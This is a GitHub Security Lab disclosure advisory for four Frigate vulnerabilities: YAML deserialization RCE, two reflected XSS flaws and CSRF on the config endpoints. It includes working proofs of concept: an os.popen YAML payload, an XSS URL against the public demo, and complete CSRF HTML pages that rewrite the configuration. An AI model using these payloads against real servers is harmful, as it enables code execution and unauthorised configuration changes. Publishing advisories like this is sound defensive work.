Coordinated Disclosure Timeline

Summary

Project

Frigate

Tested Version

Details

Issue 1: Unsafe deserialization in load_config_with_no_duplicates of frigate/util/builtin.py (GHSL-2023-190)

Input is initially accepted through http.py at frigate/http.py:998:

@bp.route("/config/save", methods=["POST"])
def config_save():
    save_option = request.args.get("save_option")

    new_config = request.get_data().decode()

The user-provided input is then parsed and loaded by load_config_with_no_duplicates at frigate/config.py:1244:

@classmethod
def parse_raw(cls, raw_config):
    config = load_config_with_no_duplicates(raw_config)
    return cls.parse_obj(config)

However, load_config_with_no_duplicates uses yaml.loader.Loader which can instantiate custom constructors. A provided payload will be executed directly at frigate/util/builtin.py:110:

PreserveDuplicatesLoader.add_constructor(
    yaml.resolver.BaseResolver.DEFAULT_MAPPING_TAG, map_constructor
)
return yaml.load(raw_config, PreserveDuplicatesLoader)

This vulnerability was found using CodeQL’s Deserialization of user-controlled data query for Python.

Impact

This issue may lead to pre-authenticated Remote Code Execution.

Proof of Concept:

  1. Start Frigate in Docker for ease of setup.
  2. Navigate to localhost:5000/config.
  3. Enter the following content into the config, and save the configuration:
!!python/object/apply:os.popen
- touch /tmp/pwned
  1. Note that /tmp/pwned is created in the container. This access can also be extended to write to mounted filesystems if not mounted as read-only.

Resources

Issue 2: Reflected XSS through /<camera_name> API endpoints (GHSL-2023-195)

The recording_clip request handler returns an unescaped/unsanitized string based on the camera_name requested in the route that calls it. As a result of this, reflected XSS is possible.

By calling a camera that does not exist, we can force a failure response that will return the requested value. Note that this is response will use Flask’s default content-type of text/html:

if p.returncode != 0:
  logger.error(p.stderr)
  return f"Could not create clip from recordings for {camera_name}.", 500

As an example, we can trigger an XSS payload using the official demo instance with the following GET request executed in a browser:

GET https://demo.frigate.video/api/%3Cimg%20src=%22%22%20onerror=alert(document.domain)%3E

This vulnerability was found using CodeQL’s Reflected server-side cross-site scripting for Python.

Impact

As the reflected values included in the URL are not sanitized or escaped, this permits execution arbitrary Javascript payloads.

Resources

Issue 3: Cross-site request forgery vulnerability in config_save and config_set request handlers (GHSL-2023-198)

When provided with a POST request containing the save_option parameter, the config_save request handler will attempt to write the user-supplied configuration in the request body to the configuration file on disk. Similarly, when provided with a PUT request the config_set request handler will attempt to update the existing configuration file with the user-supplied values specified as variables in the URL.

As these endpoints do not have any CSRF protection or authentication requirement this permits a request from any origin (e.g. a “drive-by” attack) to update the configuration of the Frigate server.

Proof of Concept
  1. Start Frigate following the Docker instructions using the example config.yml file.
  2. Host an HTML file with the following contents anywhere accessible from your local machine:
<html>
<script>
function pwnd()
{
        let xhr = new XMLHttpRequest();
        xhr.open("POST", "http://<FRIGATE_SERVER>:5000/api/config/save?save_option=saveonly");

        xhr.onreadystatechange = function () {
                  if (xhr.readyState === 4) {
                              console.log(xhr.status);
                              console.log(xhr.responseText);
                            }};
let data = `mqtt:
  host: mqtt

cameras:
  pwnd:
    ffmpeg:
      inputs:
        - path: /media/frigate/car-stopping.mp4
          input_args: -re -stream_loop -1 -fflags +genpts
          roles:
            - detect
            - rtmp
    detect:
      height: 1080
      width: 1920
      fps: 5`;

        xhr.send(data);
        console.log("pwnd");
}

pwnd();
</script>
</html>
  1. Access the new page (e.g. http://<YOUR_WEB_SERVER_HOST>/poc.html).
  2. Note that the configuration of the Frigate service has been updated to now have a camera named pwnd instead of test.

This can also be performed against the config/set endpoint with the same setup outlined above, but the following poc.html which will update the mqtt.host value to pwnd:

<html>
<script>
        function pwn() {
        let xhr = new XMLHttpRequest();
        xhr.open("PUT", "http://<FRIGATE_SERVER>:5000/api/config/set?mqtt.host=pwnd");

        xhr.onreadystatechange = function () {
                  if (xhr.readyState === 4) {
                              console.log(xhr.status);
                              console.log(xhr.responseText);
                            }};


        xhr.send();
        }
pwn();
</script>
</html>

This demonstrates that requests from any origin can result in arbitrary writes to Frigate’s configuration.

Impact

This issue can lead to arbitrary configuration updates for the Frigate server, resulting in denial of service and possible data exfiltration.

Resources

Issue 4: Cross-site scripting in /logs/<service> endpoint (GHSL-2023-209)

The following error message is returned with a content type of text/html and the values are fully user controlled and unsanitized.

return f"{service} is not a valid service", 404

This permits an attacker to craft a URL to a service that is not in the valid log_locations and that instead contains a javascript payload for XSS purposes.

This was identified with CodeQL’s Reflected server-side cross-site scripting query.

Impact

As the reflected values included in the URL are not sanitized or escaped, this permits execution arbitrary Javascript payloads.

Resources

CVE

Credit

This issue was discovered and reported by GHSL team members @maclarel (Logan MacLaren) and @jorgectf (Jorge Rosillo).

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2023-190, GHSL-2023-195, GHSL-2023-198, or GHSL-2023-209 in any communication regarding this issue.